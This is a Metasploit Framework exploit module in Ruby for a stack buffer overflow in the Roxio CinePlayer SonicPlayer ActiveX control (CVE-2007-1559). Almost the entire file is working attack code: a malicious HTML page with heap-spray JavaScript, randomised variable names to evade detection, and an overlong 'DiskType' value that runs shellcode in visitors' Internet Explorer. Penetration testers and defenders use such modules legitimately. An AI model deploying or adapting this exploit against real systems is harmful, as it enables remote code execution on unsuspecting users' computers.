|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122  |  ## # $Id: roxio_cineplayer.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = NormalRanking  include Msf::Exploit::Remote::HttpServer::HTML  def initialize(info = {})  super(update_info(info,  'Name' => 'Roxio CinePlayer ActiveX Control Buffer Overflow',  'Description'=> %q{  This module exploits a stack-based buffer overflow in SonicPlayer ActiveX  control (SonicMediaPlayer.dll) 3.0.0.1 installed by Roxio CinePlayer 3.2.  By setting an overly long value to 'DiskType', an attacker can overrun  a buffer and execute arbitrary code.  },  'License'=> MSF_LICENSE,  'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ],  'Version'=> '$Revision: 9179 $',  'References' =>  [  [ 'CVE', '2007-1559' ],  [ 'OSVDB', '34779' ],  [ 'BID', '23412' ],  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'process',  },  'Payload'=>  {  'Space' => 1024,  'BadChars'=> "\x00\x09\x0a\x0d'\\",  'StackAdjustment' => -3500,  },  'Platform' => 'win',  'Targets'=>  [  [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 200, 'Ret' => 0x0C0C0C0C } ]  ],  'DisclosureDate' => 'Apr 11 2007',  'DefaultTarget'=> 0))  end  def autofilter  false  end  def check_dependencies  use_zlib  end  def on_request_uri(cli, request)  # Re-generate the payload  return if ((p = regenerate_payload(cli)) == nil)  # Encode the shellcode  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  # Setup exploit buffers  nops = Rex::Text.to_unescape([target.ret].pack('V'))  ret = Rex::Text.uri_encode([target.ret].pack('L'))  blocksize = 0x40000  fillto= 500  offset = target['Offset']  # Randomize the javascript variable names  sonic = rand_text_alpha(rand(100) + 1)  j_shellcode= rand_text_alpha(rand(100) + 1)  j_nops = rand_text_alpha(rand(100) + 1)  j_headersize = rand_text_alpha(rand(100) + 1)  j_slackspace = rand_text_alpha(rand(100) + 1)  j_fillblock= rand_text_alpha(rand(100) + 1)  j_block= rand_text_alpha(rand(100) + 1)  j_memory = rand_text_alpha(rand(100) + 1)  j_counter= rand_text_alpha(rand(30) + 2)  j_ret= rand_text_alpha(rand(100) + 1)  # Build out the message  content = %Q| <html> <object classid='clsid:9F1363DA-0220-462E-B923-9E3C9038896F' id='#{sonic}'></object> <script language='javascript'>  #{j_shellcode}=unescape('#{shellcode}');  #{j_nops}=unescape('#{nops}');  #{j_headersize}=20;  #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;  while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};  #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});  #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});  while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};  #{j_memory}=new Array();  for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};  #{j_ret}='';  for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');  #{sonic}.DiskType(#{j_ret}); </script> </html>  |  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  # Transmit the response to the client  send_response_html(cli, content)  # Handle the payload  handler(cli)  end end  |